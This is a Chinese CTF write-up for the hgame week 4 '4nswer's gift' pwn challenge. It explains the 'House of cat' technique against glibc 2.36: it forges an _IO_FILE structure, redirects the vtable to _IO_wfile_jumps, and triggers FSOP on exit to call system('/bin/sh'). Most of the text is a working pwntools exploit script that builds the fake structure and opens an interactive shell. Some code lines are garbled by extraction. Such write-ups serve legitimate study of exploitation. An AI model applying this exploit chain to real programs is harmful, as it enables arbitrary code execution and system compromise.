House of cat
复现hgame week4 4nswer's gift
题目
glibc版本 2.36
程序逻辑
给了_IO_list_all的写入机会,且大小随意指定malloc
解题思路
首先有泄露libc地址。
可以向malloc要一块很大的内存,让malloc调用mmap开辟空间。开辟出来的空间与libc偏移一致,fake_io便已知。
高版本glibc 考虑打house of cat且有exit使用FSOP触发。
_IO_FILE_plus结构
=b'\x00'*8 #0x0 _flags
fake_IO_FILE+=p64(0) #0x8 _IO_read_ptr
fake_IO_FILE+=p64(0) #0x10 _IO_read_end
fake_IO_FILE+=p64(0) #0x18 _IO_read_base
fake_IO_FILE+=p64(0) #0x20 _IO_write_base
fake_IO_FILE+=p64(1) #0x28 _IO_write_ptr
fake_IO_FILE+=p64(0) #0x30 _IO_write_end
fake_IO_FILE+=p64(0) #0x38 _IO_buf_base
fake_IO_FILE+=p64(0) #0x40 _IO_buf_end
fake_IO_FILE+=p64(0) #0x48 _IO_save_base
fake_IO_FILE+=p64(0) #0x50 _IO_backup_base
fake_IO_FILE+=p64(0) #0x58 _IO_save_end
fake_IO_FILE+=p64(0) #0x60 _markers
fake_IO_FILE+=p64(0) #0x68 _chain
fake_IO_FILE+=b'\x00'*4 #0x70 _fileno
fake_IO_FILE+=b'\x00'*4 #0x74 _flags2
fake_IO_FILE+=p64(0) #0x78 _old_offset
fake_IO_FILE+=b'\x00\x00' #0x80 _cur_column
fake_IO_FILE+=b'\x00' #0x82 _vtable_offset
fake_IO_FILE+=b'\x00'*5 #0x83 _shortbuf
fake_IO_FILE+=p64(0) #0x88 _lock
fake_IO_FILE+=p64(0) #0x90 _offset
fake_IO_FILE+=p64(0) #0x98 _codecvt
fake_IO_FILE+=p64(0) #0xa0 _wide_data
fake_IO_FILE+=p64(0) #0xa8 _freeres_list
fake_IO_FILE+=p64(0) #0xb0 _freeres_bufr
fake_IO_FILE+=p64(0) #0xb8 __pad5
fake_IO_FILE+=b'\x00\x00\x00\x00' #0xc0 _mode
fake_IO_FILE+=b'\x00\x00\x00\x00'+ p64(0) * 2 #0xc4 _unused2
fake_IO_FILE+=p64(0) #0xd8 vtable fake_IO_FILE
House of cat
触发IO函数的方式有FSOP、__malloc_assert
通过修改vtable到虚表段中调用_IO_wfile_seekof
->_IO_switch_to_wget_mode
其中_IO_switch_to_wget_mode
的调用具体如下
关键步骤如下。此时rdi
为fp即我们伪造的fake_io结构,根据偏移构造地址,可以达到控制程序的目的。
mov rax, qword ptr [rdi + 0xa0]
mov rdx, qword ptr [rax + 0x20]
mov rax, qword ptr [rax + 0xe0]
call qword ptr [rax + 0x18] //system、setcontext
可以调用system来getshell
,也可以调用setcontext
设置rop
拿flag
在此之前我们的fake_io结构需要满足
_wide_data->_IO_read_ptr != _wide_data->_IO_read_end
_wide_data->_IO_write_ptr > _wide_data->_IO_write_base
_wide_data可以指向自己的fake_io
fp->_IO_save_base < fp->_IO_backup_base
--- 在_wide_data=fake_io_addr+0x30
条件下,当然可以自主调整
fp->_lock是一个可写地址(堆地址、libc中的可写地址)
0 fp->_mode =
0x30 -> FSOP
fp-vtable = _IO_wfile_jumps + 0x10 -> __malloc_assert fp-vtable = _IO_wfile_jumps +
另外
pwndbg可以直接b _IO_Fuction 来进行调试 ,也可以p *(sruct _IO_FILE_plus *) 0x233333
或者p _IO_list_all来打印结构。
Exp
最后贴出exp
from pwn import *
from pwn import p64,u64
from LibcSearcher import *
= 1
debug = 1
gdb_is = "./vuln"
elf_path # context(arch='i386',os = 'linux')
='amd64',os = 'linux', log_level='DEBUG')
context(archif debug:
= ['wt.exe','nt','Ubuntu','-c']
context.terminal if gdb_is:
= gdb.debug('./vuln','set debug-file-directory ./.debug/')
r # gdb.attach(r,'b* 0x4012ed')
# gdb.attach(r)
# pause()
pass
else:
= process("./vuln")
r
else:
= "192.168.0.111:53783"
host = connect(host.split(':')[0],host.split(':')[1])#远程连接
r =0
gdb_is
def show_addr(name,addr):
f'{name} = {hex(addr)}')
success(
def revc_addr(r:process,name:str, until:bytes =b'\x7f',offset:int = 0,addrType:str ='bytes')->int:
if type(until) == str:
= until.encode()
until if addrType == 'bytes':
if not offset:
= u64(r.recvuntil(until).ljust(8,b'\x00'))
addr else:
= u64(r.recvuntil(until)[:offset].ljust(8,b'\x00'))
addr elif addrType == 'str':
= int(r.recvuntil(until)[2:offset],16)
addr
show_addr(name,addr)return addr
= ELF('./libc.so.6')
libc = ELF(elf_path)
elf = ROP(elf)
rop 'the box of it looks like this: ')
r.recvuntil(b= revc_addr(r,b'_IO_list_all','\n',-1,'str') - 0x1f7660
libc.address = 0x20000000
size
'put into the gift?\n',str(size).encode())
r.sendlineafter(b'libc.address',libc.address)
show_addr(
# pause()
# house_of_cat
= libc.address - 0x20003ff0 # 伪造的fake_IO结构体的地址
fake_io_addr 'fake_io_addr',fake_io_addr)
show_addr(= 0
next_chain
=b'/bin/sh\x00' #0x0 _flags => rdi
fake_IO_FILE+=p64(0) #0x8 _IO_read_ptr
fake_IO_FILE+=p64(0) #0x10 _IO_read_end
fake_IO_FILE+=p64(0) #0x18 _IO_read_base
fake_IO_FILE+=p64(0) #0x20 _IO_write_base
fake_IO_FILE+=p64(1) #0x28 _IO_write_ptr
fake_IO_FILE+=p64(0) #0x30 _IO_write_end
fake_IO_FILE+=p64(0) #0x38 _IO_buf_base
fake_IO_FILE+=p64(0) #0x40 _IO_buf_end
fake_IO_FILE+=p64(0) #0x48 _IO_save_base
fake_IO_FILE+=p64(0x100) #0x50 _IO_backup_base
fake_IO_FILE+=p64(0) #0x58 _IO_save_end
fake_IO_FILE+=p64(0) #0x60 _markers
fake_IO_FILE+=p64(0) #0x68 _chain
fake_IO_FILE+=b'\x00'*4 #0x70 _fileno
fake_IO_FILE+=b'\x00'*4 #0x74 _flags2
fake_IO_FILE+=p64(0) #0x78 _old_offset
fake_IO_FILE+=b'\x00\x00' #0x80 _cur_column
fake_IO_FILE+=b'\x00' #0x82 _vtable_offset
fake_IO_FILE+=b'\x00'*5 #0x83 _shortbuf
fake_IO_FILE+=p64(fake_io_addr+0x1000) #0x88 _lock
fake_IO_FILE+=p64(0) #0x90 _offset
fake_IO_FILE+=p64(0) #0x98 _codecvt
fake_IO_FILE+=p64(fake_io_addr+0x30)#0xa0 _wide_data rax1 fake_io_addr+0x30
fake_IO_FILE+=p64(0) #0xa8 _freeres_list
fake_IO_FILE+=p64(0) #0xb0 _freeres_bufr
fake_IO_FILE+=p64(0) #0xb8 __pad5
fake_IO_FILE+=b'\x00\x00\x00\x00' #0xc0 _mode rdx
fake_IO_FILE+=b'\x00\x00\x00\x00'+ p64(0) * 2 #0xc4 _unused2
fake_IO_FILE+=p64(libc.sym['_IO_wfile_jumps'] + 0x30) #0xd8 vtable
fake_IO_FILE+=p64(fake_io_addr+0x30+0xe0+0x40).rjust(0x38,b'\x00') #0xe0
fake_IO_FILE+=p64(libc.sym['system']).rjust(0x58,b'\x00')
fake_IO_FILE
pause()
'What do you think is appropriate to put into the gitf?\n',fake_IO_FILE)
r.sendafter(b r.interactive()